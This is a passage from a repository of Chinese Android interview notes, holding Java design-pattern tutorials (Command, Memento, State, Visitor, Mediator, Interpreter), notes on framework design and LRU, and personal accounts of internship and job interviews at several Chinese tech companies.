 \n        MyHandler h1 = new MyHandler(\"h1\");  \n        MyHandler h2 = new MyHandler(\"h2\");  \n        MyHandler h3 = new MyHandler(\"h3\");  \n  \n        h1.setHandler(h2);  \n        h2.setHandler(h3);  \n  \n        h1.operator();  \n    }  \n}\n```  \n输出：\nh1deal! h2deal! h3deal!\n此处强调一点就是，链接上的请求可以是一条链，可以是一个树，还可以是一个环，模式本身不约束这个，需要我们自己去实现，同时，在一个时刻，命令只允许由一个对象传给另一个对象，而不允许传给多个对象。\n 18、命令模式（Command）\n命令模式很好理解，举个例子，司令员下令让士兵去干件事情，从整个事情的角度来考虑，司令员的作用是，发出口令，口令经过传递，传到了士兵耳朵里，士兵去执行。这个过程好在，三者相互解耦，任何一方都不用去依赖其他人，只需要做好自己的事儿就行，司令员要的是结果，不会去关注到底士兵是怎么实现的。我们看看关系图：\n\nInvoker是调用者（司令员），Receiver是被调用者（士兵），MyCommand是命令，实现了Command接口，持有接收对象，看实现代码：\n```java\npublic interface Command {  \n    public void exe();  \n}  \n```\n```java\npublic class MyCommand implements Command {  \n  \n    private Receiver receiver;  \n      \n    public MyCommand(Receiver receiver) {  \n        this.receiver = receiver;  \n    }  \n  \n    @Override  \n    public void exe() {  \n        receiver.action();  \n    }  \n}  \n```\n```java\npublic class Receiver {  \n    public void action(){  \n        System.out.println(\"command received!\");  \n    }  \n}  \n```\n```java\npublic class Invoker {  \n      \n    private Command command;  \n      \n    public Invoker(Command command) {  \n        this.command = command;  \n    }  \n  \n    public void action(){  \n        command.exe();  \n    }  \n} \n``` \n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n        Receiver receiver = new Receiver();  \n        Command cmd = new MyCommand(receiver);  \n        Invoker invoker = new Invoker(cmd);  \n        invoker.action();  \n    }  \n} \n``` \n输出：command received!\n这个很哈理解，命令模式的目的就是达到命令的发出者和执行者之间解耦，实现请求和执行分开，熟悉Struts的同学应该知道，Struts其实就是一种将请求和呈现分离的技术，其中必然涉及命令模式的思想！\n其实每个设计模式都是很重要的一种思想，看上去很熟，其实是因为我们在学到的东西中都有涉及，尽管有时我们并不知道，其实在Java本身的设计之中处处都有体现，像AWT、JDBC、集合类、IO管道或者是Web框架，里面设计模式无处不在。因为我们篇幅有限，很难讲每一个设计模式都讲的很详细，不过我会尽我所能，尽量在有限的空间和篇幅内，把意思写清楚了，更好让大家明白。本章不出意外的话，应该是设计模式最后一讲了，首先还是上一下上篇开头的那个图：\n\n本章讲讲第三类和第四类。\n19、备忘录模式（Memento）\n主要目的是保存一个对象的某个状态，以便在适当的时候恢复对象，个人觉得叫备份模式更形象些，通俗的讲下：假设有原始类A，A中有各种属性，A可以决定需要备份的属性，备忘录类B是用来存储A的一些内部状态，类C呢，就是一个用来存储备忘录的，且只能存储，不能修改等操作。做个图来分析一下：\n\nOriginal类是原始类，里面有需要保存的属性value及创建一个备忘录类，用来保存value值。Memento类是备忘录类，Storage类是存储备忘录的类，持有Memento类的实例，该模式很好理解。直接看源码：\n```java\npublic class Original {  \n      \n    private String value;  \n      \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n  \n    public Original(String value) {  \n        this.value = value;  \n    }  \n  \n    public Memento createMemento(){  \n        return new Memento(value);  \n    }  \n      \n    public void restoreMemento(Memento memento){  \n        this.value = memento.getValue();  \n    }  \n} \n``` \n```java\npublic class Memento {  \n      \n    private String value;  \n  \n    public Memento(String value) {  \n        this.value = value;  \n    }  \n  \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n}  \n```\n```java\npublic class Storage {  \n      \n    private Memento memento;  \n      \n    public Storage(Memento memento) {  \n        this.memento = memento;  \n    }  \n  \n    public Memento getMemento() {  \n        return memento;  \n    }  \n  \n    public void setMemento(Memento memento) {  \n        this.memento = memento;  \n    }  \n}  \n```\n测试类：\n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n          \n        // 创建原始类  \n        Original origi = new Original(\"egg\");  \n  \n        // 创建备忘录  \n        Storage storage = new Storage(origi.createMemento());  \n  \n        // 修改原始类的状态  \n        System.out.println(\"初始化状态为：\" + origi.getValue());  \n        origi.setValue(\"niu\");  \n        System.out.println(\"修改后的状态为：\" + origi.getValue());  \n  \n        // 回复原始类的状态  \n        origi.restoreMemento(storage.getMemento());  \n        System.out.println(\"恢复后的状态为：\" + origi.getValue());  \n    }  \n}  \n```\n输出：\n初始化状态为：egg 修改后的状态为：niu 恢复后的状态为：egg\n简单描述下：新建原始类时，value被初始化为egg，后经过修改，将value的值置为niu，最后倒数第二行进行恢复状态，结果成功恢复了。其实我觉得这个模式叫“备份-恢复”模式最形象。\n20、状态模式（State）\n核心思想就是：当对象的状态改变时，同时改变其行为，很好理解！就拿QQ来说，有几种状态，在线、隐身、忙碌等，每个状态对应不同的操作，而且你的好友也能看到你的状态，所以，状态模式就两点：1、可以通过改变状态来获得不同的行为。2、你的好友能同时看到你的变化。看图：\n\nState类是个状态类，Context类可以实现切换，我们来看看代码：\n \n```java\npackage com.xtfggef.dp.state;  \n  \n/** \n * 状态类的核心类 \n * 2012-12-1 \n * @author erqing \n * \n */  \npublic class State {  \n      \n    private String value;  \n      \n    public String getValue() {  \n        return value;  \n    }  \n  \n    public void setValue(String value) {  \n        this.value = value;  \n    }  \n  \n    public void method1(){  \n        System.out.println(\"execute the first opt!\");  \n    }  \n      \n    public void method2(){  \n        System.out.println(\"execute the second opt!\");  \n    }  \n} \n``` \n```java\npackage com.xtfggef.dp.state;  \n  \n/** \n * 状态模式的切换类   2012-12-1 \n * @author erqing \n *  \n */  \npublic class Context {  \n  \n    private State state;  \n  \n    public Context(State state) {  \n        this.state = state;  \n    }  \n  \n    public State getState() {  \n        return state;  \n    }  \n  \n    public void setState(State state) {  \n        this.state = state;  \n    }  \n  \n    public void method() {  \n        if (state.getValue().equals(\"state1\")) {  \n            state.method1();  \n        } else if (state.getValue().equals(\"state2\")) {  \n            state.method2();  \n        }  \n    }  \n}  \n测试类：\n \n \n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n          \n        State state = new State();  \n        Context context = new Context(state);  \n          \n        //设置第一种状态  \n        state.setValue(\"state1\");  \n        context.method();  \n          \n        //设置第二种状态  \n        state.setValue(\"state2\");  \n        context.method();  \n    }  \n} \n``` \n输出：\n \nexecute the first opt! execute the second opt!\n根据这个特性，状态模式在日常开发中用的挺多的，尤其是做网站的时候，我们有时希望根据对象的某一属性，区别开他们的一些功能，比如说简单的权限控制等。21、访问者模式（Visitor）\n访问者模式把数据结构和作用于结构上的操作解耦合，使得操作集合可相对自由地演化。访问者模式适用于数据结构相对稳定算法又易变化的系统。因为访问者模式使得算法操作增加变得容易。若系统数据结构对象易于变化，经常有新的数据对象增加进来，则不适合使用访问者模式。访问者模式的优点是增加操作很容易，因为增加操作意味着增加新的访问者。访问者模式将有关行为集中到一个访问者对象中，其改变不影响系统数据结构。其缺点就是增加新的数据结构很困难。—— From 百科\n简单来说，访问者模式就是一种分离对象数据结构与行为的方法，通过这种分离，可达到为一个被访问者动态添加新的操作而无需做其它的修改的效果。简单关系图：\n\n来看看原码：一个Visitor类，存放要访问的对象，\n \n```java\npublic interface Visitor {  \n    public void visit(Subject sub);  \n}  \n```\n```java\npublic class MyVisitor implements Visitor {  \n  \n    @Override  \n    public void visit(Subject sub) {  \n        System.out.println(\"visit the subject：\"+sub.getSubject());  \n    }  \n} \n``` \nSubject类，accept方法，接受将要访问它的对象，getSubject()获取将要被访问的属性，\n```java\npublic interface Subject {  \n    public void accept(Visitor visitor);  \n    public String getSubject();  \n} \n``` \n```java\npublic class MySubject implements Subject {  \n  \n    @Override  \n    public void accept(Visitor visitor) {  \n        visitor.visit(this);  \n    }  \n  \n    @Override  \n    public String getSubject() {  \n        return \"love\";  \n    }  \n} \n``` \n测试：\n \n \n \n \n \n \n \n \n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n          \n        Visitor visitor = new MyVisitor();  \n        Subject sub = new MySubject();  \n        sub.accept(visitor);      \n    }  \n}  \n输出：visit the subject：love\n \n \n \n \n \n \n \n该模式适用场景：如果我们想为一个现有的类增加新功能，不得不考虑几个事情：1、新功能会不会与现有功能出现兼容性问题？2、以后会不会再需要添加？3、如果类不允许修改代码怎么办？面对这些问题，最好的解决方法就是使用访问者模式，访问者模式适用于数据结构相对稳定的系统，把数据结构和算法解耦，22、中介者模式（Mediator）\n中介者模式也是用来降低类类之间的耦合的，因为如果类类之间有依赖关系的话，不利于功能的拓展和维护，因为只要修改一个对象，其它关联的对象都得进行修改。如果使用中介者模式，只需关心和Mediator类的关系，具体类类之间的关系及调度交给Mediator就行，这有点像spring容器的作用。先看看图：\n\nUser类统一接口，User1和User2分别是不同的对象，二者之间有关联，如果不采用中介者模式，则需要二者相互持有引用，这样二者的耦合度很高，为了解耦，引入了Mediator类，提供统一接口，MyMediator为其实现类，里面持有User1和User2的实例，用来实现对User1和User2的控制。这样User1和User2两个对象相互独立，他们只需要保持好和Mediator之间的关系就行，剩下的全由MyMediator类来维护！基本实现：\n \n```java\npublic interface Mediator {  \n    public void createMediator();  \n    public void workAll();  \n}  \n```java\npublic class MyMediator implements Mediator {  \n  \n    private User user1;  \n    private User user2;  \n      \n    public User getUser1() {  \n        return user1;  \n    }  \n  \n    public User getUser2() {  \n        return user2;  \n    }  \n  \n    @Override  \n    public void createMediator() {  \n        user1 = new User1(this);  \n        user2 = new User2(this);  \n    }  \n  \n    @Override  \n    public void workAll() {  \n        user1.work();  \n        user2.work();  \n    }  \n}  \n```java\npublic abstract class User {  \n      \n    private Mediator mediator;  \n      \n    public Mediator getMediator(){  \n        return mediator;  \n    }  \n      \n    public User(Mediator mediator) {  \n        this.mediator = mediator;  \n    }  \n  \n    public abstract void work();  \n}  \n```java\npublic class User1 extends User {  \n  \n    public User1(Mediator mediator){  \n        super(mediator);  \n    }  \n      \n    @Override  \n    public void work() {  \n        System.out.println(\"user1 exe!\");  \n    }  \n}  \n```java\npublic class User2 extends User {  \n  \n    public User2(Mediator mediator){  \n        super(mediator);  \n    }  \n      \n    @Override  \n    public void work() {  \n        System.out.println(\"user2 exe!\");  \n    }  \n}  \n测试类：\n \n \n \n \n \n \n \n \n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n        Mediator mediator = new MyMediator();  \n        mediator.createMediator();  \n        mediator.workAll();  \n    }  \n}  \n输出：\n \n \n \n \n \n \n \nuser1 exe! user2 exe! 23、解释器模式（Interpreter） 解释器模式是我们暂时的最后一讲，一般主要应用在OOP开发中的编译器的开发中，所以适用面比较窄。\n\nContext类是一个上下文环境类，Plus和Minus分别是用来计算的实现，代码如下：\n \n```java\npublic interface Expression {  \n    public int interpret(Context context);  \n}  \n```java\npublic class Plus implements Expression {  \n  \n    @Override  \n    public int interpret(Context context) {  \n        return context.getNum1()+context.getNum2();  \n    }  \n}  \n```java\npublic class Minus implements Expression {  \n  \n    @Override  \n    public int interpret(Context context) {  \n        return context.getNum1()-context.getNum2();  \n    }  \n}  \n```java\npublic class Context {  \n      \n    private int num1;  \n    private int num2;  \n      \n    public Context(int num1, int num2) {  \n        this.num1 = num1;  \n        this.num2 = num2;  \n    }  \n      \n    public int getNum1() {  \n        return num1;  \n    }  \n    public void setNum1(int num1) {  \n        this.num1 = num1;  \n    }  \n    public int getNum2() {  \n        return num2;  \n    }  \n    public void setNum2(int num2) {  \n        this.num2 = num2;  \n    }  \n      \n      \n}  \n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n  \n        // 计算9+2-8的值  \n        int result = new Minus().interpret((new Context(new Plus()  \n                .interpret(new Context(9, 2)), 8)));  \n        System.out.println(result);  \n    }  \n}  \n最后输出正确的结果：3。\n \n \n \n \n \n \n \n基本就这样，解释器模式用来做各种各样的解释器，如正则表达式等的解释器等等！\n设计模式基本就这么大概讲完了，总体感觉有点简略，的确，这么点儿篇幅，不足以对整个23种设计模式做全面的阐述，此处读者可将它作为一个理论基础去学习，通过这四篇博文，先基本有个概念，虽然我讲的有些简单，但基本都能说明问题及他们的特点，如果对哪一个感兴趣，可以继续深入研究！同时我也会不断更新，尽量补全遗漏、修正不足，欢迎广大读者及时提出好的建议，我们一起学习！项目中涉及到的代码，已经放到了我的资源里：http://download.csdn.net/detail/zhangerqing/4835830（因为我不喜欢不劳而获，所以没有免积分，只设置了5个，如果有人实在没积分又急要，那么联系我吧，我给你发过去）。50.谈谈你对框架的理解，设计框架的时候你是怎么考虑的，重构项目的时候你都遵循什么原则。\n\n1.框架不要为应用做过多的假设\n关于框架为应用做过多的假设，\n一个非常具体的现象就是，\n框架越俎代庖，\n把本来是应\n用要做的事情揽过来自己做。\n这是一种典型的吃力不讨好的做法。\n框架越俎代庖，\n也许会使\n得某一个具体应用的开发变得简单，\n却会给其它更多想使用该框架的应用增加了本没有必要\n的束缚和负担。\n2.使用接口，保证框架提供的所有重要实现都是可以被替换的\n 框架终究不是应用，\n所以框架无法考虑所有应用的具体情况，\n保证所有重要的组件的实\n现都是可以被替换的，\n这一点非常重要，\n它使得应用可以根据当前的实际情况来替换掉框架\n提供的部分组件的默认实现。\n使用接口来定义框架中各个组件及组件间的联系，\n将提高框架\n的可复用性。\n 3.框架应当简洁、一致、且目标集中\n 框架应当简洁，\n不要包含那些对框架目标来说无关紧要的东西，\n保证框架中的每个组件\n的存在都是为了支持框架目标的实现。包含过多无谓的元素（类、接口、枚举等）\n，会使框\n架变得难以理解，\n尝试将这些对于框架核心目标不太重要的元素转移到类库中，\n可以使得框\n架更清晰、目标更集中。\n 4.提供一个常用的骨架，但是不要固定骨架的结构，使骨架也是可以组装的\n 比如说，\n如果是针对某种业务处理的框架，\n那么框架不应该只提供一套不可变更的业务\n处理流程，而是应该将处理流程\n“单步”\n化，使得各个步骤是可以重新组装的，如此一来，应\n用便可以根据实际情况来改变框架默认的处理流程。\n这种框架的可定制化能力可以极大地提\n高框架的可复用性。\n 5.不断地重构框架\n 如果说设计和实现一个高质量的框架有什么秘诀？答案只有一个，重构、不断地重构。\n重构框架的实现代码、\n甚至重构框架的设计。\n重构的驱动力源于几个方面，\n比如对要解决的\n本质问题有了更清晰准备的认识，在使用框架的时候发现某些组件职责不明确、难以使用，\n框架的层次结构不够清晰等。51.LRU算法\n\n假设 序列为 4 3 4 2 3 1 4 2\n物理块有3个 则\n首轮 4调入内存 4\n次轮 3调入内存 3 4\n之后 4调入内存 4 3\n之后 2调入内存 2 4 3\n之后 3调入内存 3 2 4\n之后 1调入内存 1 3 2（因为最少使用的是4，所以丢弃4）\n之后 4调入内存 4 1 3（原理同上）\n最后 2调入内存 2 4 1 \n在指定内存中如果超过内存剔除最近最少用的。\n\n## 51.自定义控件的生命周期\n\n|方法声明|功能描述|\n|----|----|\n| onFinishInflate() |当View中所有的子控件均被映射成xml后触发 |\n| onMeasure( int ,  int )| 确定所有子元素的大小 |\n| onLayout( boolean ,  int ,  int ,  int ,  int ) | 当View分配所有的子元素的大小和位置时触发     \n| onSizeChanged( int ,  int ,  int ,  int ) |当view的大小发生变化时触发  |\n| onDraw(Canvas) |view渲染内容的细节  |\n| onKeyDown( int , KeyEvent) |有按键按下后触发  |\n| onKeyUp( int , KeyEvent) |有按键按下后弹起时触发  |\n| onTrackballEvent(MotionEvent) |轨迹球事件  |\n| onTouchEvent(MotionEvent) |触屏事件  |\n| onFocusChanged( boolean ,  int , Rect) |当View获取或失去焦点时触发   |\n| onWindowFocusChanged( boolean ) |当窗口包含的view获取或失去焦点时触发  |\n| onAttachedToWindow() |当view被附着到一个窗口时触发  |\n| onDetachedFromWindow() |当view离开附着的窗口时触发，Android123提示该方法和  || onAttachedToWindow() | 是相反的。  |\n| onWindowVisibilityChanged( int ) |当窗口中包含的可见的view发生变化时触发 |"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/Android 暑期实习生面试经验谈.md",
    "content": "作为一个双非渣硕，历经两个月的时间，面试了大大小小公司的 Android 实习生岗位，最近终于结束了面试状态，决定好好把面试问题以及相关经验整理下来，顺便附带自己的学习经验与准备过程，攒攒人品，为秋招再战。\n\n## 前言\n\n2016 年开始接触 Android，从刚开始接触就不断地听到 Android 市场饱和，工作难找等消息。虽然当时也非常迷茫，不过由于第一次深入接触编程语言，再加上自己的一点兴趣，就一直坚持下来了。\n\n通过两个月的面试经历，确实发现 Android 岗位比较少，而且通常要求比较高，不仅需要 Android 开发经验，往往还需要会 React Native,JavaScript 等，甚至还期望你能具有 IOS 开发经验。\n\n不过作为应届生还是有些优势的，那就是一些一线的互联网公司还是比较看中个人基础 以及发展潜力的，所以如果能在自己的专业方向上具有扎实的基础，1-2个实际开发项目以及个人的兴趣，还是能够找到一个满意的 Android 岗位的工作的。目前这些素质，自己也很欠缺，通过下面的面试经历就可以看出来，不过最起码有个努力的目标，可以好好准备为秋招做准备。\n\n## 面试经验\n\n自己大大小小投了也有 20 多家公司，不过经历简历筛选以及笔试淘汰，最终就经历了7家公司的面试。下面我就把自己面试中问到的问题贴出来供大家参考，一些具体项目相关的就不贴了。\n\n### 阿里巴巴\n\n阿里是 3 月初开始投的，是自己第一次面试大型的互联网公司，当时自己的准备也不够充分，表现不是很好，经历了三次技术面，最后挂了。\n\n#### 阿里一面\n\n- 排序，快速排序的实现\n- 树：B+树的介绍\n- 图：有向无环图的解释\n- TCP/UDP 的区别，滑动窗口，如何确保有效性\n- volatile\n- synchronized 与 Lock 的区别\n- Java 线程池\n- Java 中对象的生命周期\n- 类加载机制\n- 双亲委派模型\n- Android 事件分发机制\n- MVP 模式\n- RxJava\n\n#### 阿里二面\n\n- 抽象类和接口的区别\n- synchronized 与 lock\n- 集合 Set 实现 Hash 怎么防止碰撞\n- JVM 内存区域 开线程影响哪块内存\n- 垃圾收集机制 对象创建，新生代与老年代\n- 二叉树 深度遍历与广度遍历\n- B树、B+树\n- 消息机制\n\n#### 阿里三面\n\n- 项目介绍\n- 项目中做了些什么？主要解决的问题\n- 为什么选择 Retrofit，RxJava\n- RxJava 的特点\n- 进程调度\n- 进程与线程\n- 死锁\n- 进程状态\n- JVM 内存模型\n- 并发集合了解哪些\n- ConCurrentHashMap 实现\n- CAS 介绍\n- 锁 synchronized，lock\n- 开启线程的三种方式，run() 和 start() 方法区别\n- 线程池\n- 常用数据结构简介\n- 判断环\n- 排序，堆排序实现\n- 链表反转\n- 海量数据 字典查找\n- 平时看什么书\n\n### 网易游戏\n\n网易游戏当时投的时候就没抱希望，招聘信息上明确指定只招固定的那几所985高校，就随便投了，没想到笔试都没做就直接打电话面试了，不过问的问题确实很深入，结果显然，一面就挂了。\n\n#### 网易游戏一面\n\n- 集合\n- concurrenthashmap\n- volatile\n- synchronized 与 Lock\n- Java 线程池\n- wait/notify\n- NIO\n- 垃圾收集器\n- Activity 生命周期\n- AlertDialog,popupWindow,Activity 区别\n\n### 远景能源\n\n远景能源是一家互联网能源公司，给出的实习待遇是相当好，经室友推荐就投了简历。最后流程走完，得知挂在了二面上，大概原因就是没有拿得出手的项目，实际项目经验不足。\n\n#### 远景电话面\n\n- 四大组件\n- Android 中数据存储方式\n- 微信主页面的实现方式\n- 微信上消息小红点的原理\n- 做的项目，一个印象深刻的问题\n- 看的技术博客，印象深刻的\n\n#### 远景现场一面\n\n- 两个不重复的数组集合中，求共同的元素。\n- 上一问扩展，海量数据，内存中放不下，怎么求出。\n- Java 中 String 的了解。\n- ArrayList 与 LinkedList 区别\n- 堆排序过程，时间复杂度，空间复杂度\n- 快速排序的时间复杂度，空间复杂度\n\n#### 远景现场二面\n\n问的都是一些项目问题，比较宽泛，没问具体技术点\n\n### 今日头条\n\n今日头条是在四月初投的，当时找了一个月，都没拿到拿得出手的 offer，有点心烦意乱，就又海投了一波。4.18 做了今日头条的面试，4.25 进行的视频面试。一共进行了 3 轮视频面试，头条的面试官很好，看的出来头条的技术是很强的，也很注重算法。三轮技术面后，hr 通知通过，给了个秋招终面直通卡，具体发不发 offer 两周内答复。这两天已经陆续开始发 offer 了，目前还没收到，可能备胎了吧。\n\n#### 今日头条一面\n\n- 数据结构中堆的概念，堆排序\n- 死锁的概念，怎么避免死锁\n- ReentrantLock\n- synchronized\n- volatile\n- HashMap\n- singleTask 启动模式\n- 用到的一些开源框架，介绍一个看过源码的，内部实现过程。\n- 消息机制实现\n\n#### 今日头条二面\n\n- synchronized 与 ReentrantLock\n- ReentrantLock 的内部实现\n- 用到的一些开源框架，介绍一个看过源码的，内部实现过程。\n- Java 中异常\n- App 启动崩溃异常捕捉\n- 事件传递机制的介绍\n- ListView 的优化\n- 今日头条推荐新闻去重，推荐的时候去掉用户已经看过的新闻。\n- 二叉树，给出根节点和目标节点，找出从根节点到目标节点的路径。手写算法\n- 模式 MVP，MVC 介绍\n- 断点续传的实现\n\n#### 今日头条三面\n\n- 集合的接口和具体实现类，介绍\n- TreeMap 具体实现\n- synchronized 与 ReentrantLock\n- 手写生产者/消费者模式\n- 逻辑地址与物理地址，为什么使用逻辑地址\n- volatile\n- 一个无序，不重复数组，输出 N 个元素，使得 N 个元素的和相加为 M，给出时间复杂度、空间复杂度。手写算法\n- Android 进程分类\n- 前台切换到后台，然后再回到前台，Activity 生命周期回调方法。弹出 Dialog，生命值周期回调方法。\n- Activity 的启动模式\n\n### 触宝科技\n\n触宝科技是一家上海的互联网公司，是通过实习僧上简历投递获得的这次面试机会，一共进行了两轮电话面试，最终获得了 offer。触宝科技的 hr 人很好，时间观念很强，整个流程走的比较顺利。\n\n#### 触宝科技一面\n\n- RxJava 的作用，与平时使用的异步操作来比，优势\n- Android 消息机制原理\n- Binder 机制介绍\n- 为什么不能在子线程更新 UI\n\n#### 触宝科技二面\n\n- JVM 内存模型\n- Android 中进程内存的分配，能不能自己分配定额内存\n- 垃圾回收机制与调用 System.gc() 区别\n- Android 事件分发机制\n- 断点续传的实现\n- RxJava 的作用，优缺点\n\n### 爱奇艺\n\n爱奇艺也是通过实习僧上简历投递获得的机会，本来不抱希望，结果过了 10 天左右约我面试。面了大概一个小时，聊得还不错，最后第二天通知我挂了，有点不知所措，可能是实习时间达不到要求吧（只能这样安慰自己了）。\n\n#### 爱奇艺一面\n\n- RxJava 的功能与原理实现\n- RecycleView 的使用，原理，RecycleView 优化\n- ANR 的原因\n- 四大组件\n- Service 的开启方式\n- Activity 与 Service 通信的方式\n- Activity 之间的通信方式\n- HashMap 的实现，与 HashSet 的区别\n- JVM 内存模型，内存区域\n- Java 中同步使用的关键字，死锁\n- MVP 模式\n- Java 设计模式，观察者模式\n- Activity 与 Fragment 之间生命周期比较\n- 广播的使用场景\n\n### 携程\n\n携程是 3 月份投的内推，结果挂掉了，后来通过笔试又获得的机会，笔试完快一个月才收到的通知，本来都快忘记了。既然通知了，就去面了。今天刚去面的，经过 2轮技术面，1 轮 hr 面，第二轮技术面是总监面，主要聊了聊项目上的问题。下周一会根据排名发 offer，现在暂时进入备胎池。\n\n#### 携程一面\n\n- Activity 启动模式\n- 广播的使用方式，场景\n- App 中唤醒其他进程的实现方式\n- AndroidManifest 的作用与理解\n- List,Set,Map 的区别\n- HashSet 与 HashMap 怎么判断集合元素重复\n- Java 中内存区域与垃圾回收机制\n\n#### 携程二面\n\n- EventBus 作用，实现方式，代替 EventBus 的方式\n- Android 中开启摄像头的主要步骤\n- Github 上传了哪些东西，代码量\n\n## 学习资料\n\n从 Android 开发工程师的角度来讲，我自己主要准备了以下几个方面的内容：\n\n### 1.Java\n\nJava 基础，如集合，反射，注解，IO，NIO，其中集合很重要，面试常问。\n\nJVM，如内存区域，内存模型，垃圾回收机制的算法，收集器，类加载机制。\n\nJava 并发，如 sychronized,lock,volatile，生产者/消费者模式，线程池，死锁。\n\n### 2.Android\n\nAndroid 基础，如四大组件，Binder 机制，消息机制，事件分发机制，自定义 View 过程。\n\nAndroid 开源库，如 Retrofit,RxJava 等原理实现，优缺点，以及使用。\n\n### 3.数据结构\n\n链表，栈，队列，排序，树，图，以及其中涉及到的一些算法题目。\n\n### 4.设计模式\n\n单例模式，观察者模式，建造者模式，工厂模式，装饰者模式等。\n\n### 5.操作系统\n\n进程与线程，进程通信，进程调度，分页存储，分段存储，虚拟内存等。\n\n下面介绍以下我看过的一些书籍。\n\n### Java\n\n疯狂 Java 讲义(有些人说不好，自己看着还行吧，可以看核心卷，别人都推荐，我没看过)\n\nThinking in Java(看了一部分，没看完，建议有一定基础再看)\n\n深入理解 Java 虚拟机(很好的一本书，必看)\n\nHead First 设计模式(非常生动 的讲述设计模式)\n\nJava 多线程变成核心技术(讲述 Java 中多线程的一些问题，比较基础)\n\nEffective Java(78条开发中会用到的实际经验，很好，还没看完)\n\n### Android\n\nAndroid 群英传(很基础，通俗易懂)\n\nAndroid 开发艺术探索(面试必备，内容都深入浅出)\n\n### 数据结构\n\n大话数据结构(讲述各种数据结构的概念，算法实现是 C,可以作为入门书籍看)\n\n剑指offer(面试必备，面试的时候好多 上面的题目)\n\n其他的没看了，不过可以推荐一个网上视频课程，讲的很好——[数据结构](http://www.icourse163.org/learn/ZJU-93001?tid=120001) \n\n### 操作系统\n\n现代操作系统(需要耐心的看，书也挺厚，暂时没看完)\n\n推荐个网上课程——[操作系统](http://www.xuetangx.com/courses/course-v1:TsinghuaX+30240243X_2015_T2+2015_T2/courseware/be5b8d4fec0c4c329d19845020bc67b2/39384cfa48f44ee8a99561f69f4db4a5/) \n\n## 总结\n\n找工作是个很辛苦的事情，而且一般周期都比较长，有时候即看个人技术，也看运气。第一次找工作，最后的结果虽然不尽如人意，不过收获远比 offer 大。接下来就是针对自己的不足，好好努力了。\n\n## 关于面经\n\n[杭州找 Android 工作的点点滴滴](http://mp.weixin.qq.com/s?__biz=MzIxNzU1Nzk3OQ==&mid=2247484459&idx=1&sn=857366c0e2d20523c68c63d254b1ebaa&chksm=97f6ba9fa08133891e7ba8ea7e3dd90bbd7802496076dbb7b9c95e42d62f23e96ded7503b2e4&scene=21#wechat_redirect)\n\n[那些IT培训出来的Android工程师，希望你面试时涨点记性](http://mp.weixin.qq.com/s?__biz=MzIxNzU1Nzk3OQ==&mid=2247484193&idx=1&sn=4738d11bc16d0428be1c96b0de827bc4&chksm=97f6bd95a081348393d505ae8a109319a376747f73fce028cf2b902879d3b1c026f86e8f9801&scene=21#wechat_redirect)\n\n[为跳槽的你献计献策（Android）](http://mp.weixin.qq.com/s?__biz=MzIxNzU1Nzk3OQ==&mid=2247484063&idx=1&sn=f0140e180f0b7dc96e31cc427b6285f8&chksm=97f6bc2ba081353dbd924997284f0fde015f5a154c5ef27996d22a048a7871dbf4acb9241ea7&scene=21#wechat_redirect)\n\n[想编程，是勤奋自学还是去培训班学习？](http://mp.weixin.qq.com/s?__biz=MzIxNzU1Nzk3OQ==&mid=2247484311&idx=1&sn=74cb556a455fabe8b6bdbb74c928329d&chksm=97f6bd23a0813435e62f0e0c80dfa7f72216744a103eec9bbd678a38cfca0a1cd969397ddd98&scene=21#wechat_redirect)\n\n更多面试吐槽，面试题，请看这个专题\n\n[《Android面试专辑》](http://www.jianshu.com/c/1009682ba4cb)"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/Android 曲折的求职之路.md",
    "content": "## 个人近况\n\n[本人博客](http://mikeejy.github.io/) ，先说下博主最近近况，今年 2 月份从信和财富出来，去了一家创业公司结果不堪 996 的压榨，5 月底毅然离职没想到目前市场这么萧条，怪自己太作，有好的机会不好好把握，非得出来受虐哈，人都是犯贱的……所以目前整理几家去过的公司以免以后被坑。\n\n## 金开门（好贷网旗下孵化创业公司）\n\n这公司是在 BOSS 直聘上投的\n\n总体面试还算不错吧 Android 技术那面一般也不会问特别深主要是最新的主流技术一般会问下，还有就是之前的项目会大致问一下\n\n接下来是总监面，总监是个蛮不错的人，满有亲和力的，大概就是聊推送这一块的，还有支付，因为这公司主要业务是聚合支付相关的，总体还 OK\n\n接着是 HR 谈薪水还有介绍公司近况，貌似最近一直是 995 的节奏\n\n最后是大 Boss 面貌似很屌的说了一句目前我们就是 996 的节奏（应该是试探我的），我觉得跟他也没啥好谈，他一幅咄咄逼人的气势，总体感觉 BOSS 应该是个坑比，这个人的感觉貌似跟博主之前在16年遇到的创业公司的老板一个鸟样，所以就没有后续了...\n\n## 音悦台\n\n这个也是在 Boss 直聘上约的，公司就在三里屯 SOHO\n公司主要业务主打 MV 的剩下的我就不多说了，前几年业务还是挺火的\n\nHR 人还是很不错的，公司的环境神马的都没得说，妹子也多，没给offer确实感觉挺遗憾的\n\n首先光技术面问的就蛮深入的，基本最近貌似招人都比较苛刻~多线程，线程池，handler，Looper 源码层，activity 源码，四种启动模式，生命周期，View 的绘制流程，自定义 view，手势传递问的最复杂也最多\n还有一些开源项目相关的问题吧 okhttp，glide，eventbus 相关的\n\n## 1905 电影网\n\n这个是在拉勾上投的，公司在西直门\n我敢说这个面试官是这么多年我遇到的最能装逼一个，当然人家技术也蛮不错的，你不会的，遇到问题的，人家也耐心给你讲解哟，无形装逼，最为致命啊！如果你技术不是很好的话千万不要去这家公司找虐\n\n博主之前有个朋友也来过这家面试，貌似最后给说开不了他的工资，还跟他说来面试很多\n给我种感觉 就是面试造核弹，工作拧螺丝？最后还问了我项目里有啥亮点\n问题蛮多的好多都忘了，大致记住几个\n\nGlide ，Picasso 都分别有几个线程池\n\nAsynctask 源码，为什么 android4.0 以后是串行\n\nOnMeasure 方法几个参数对应含义（这个题问的最多的所以我把答案贴上O(∩_∩)O~\n\n首先我们要理解的是 widthMeasureSpec, heightMeasureSpec 这两个参数是从哪里来的？onMeasure() 函数由包含这个 View 的具体的 ViewGroup 调用，因此值也是从这个ViewGroup 中传入的。这里我直接给出答案：子类 View 的这两个参数，由 ViewGroup 中的 layout_width，layout_height 和 padding 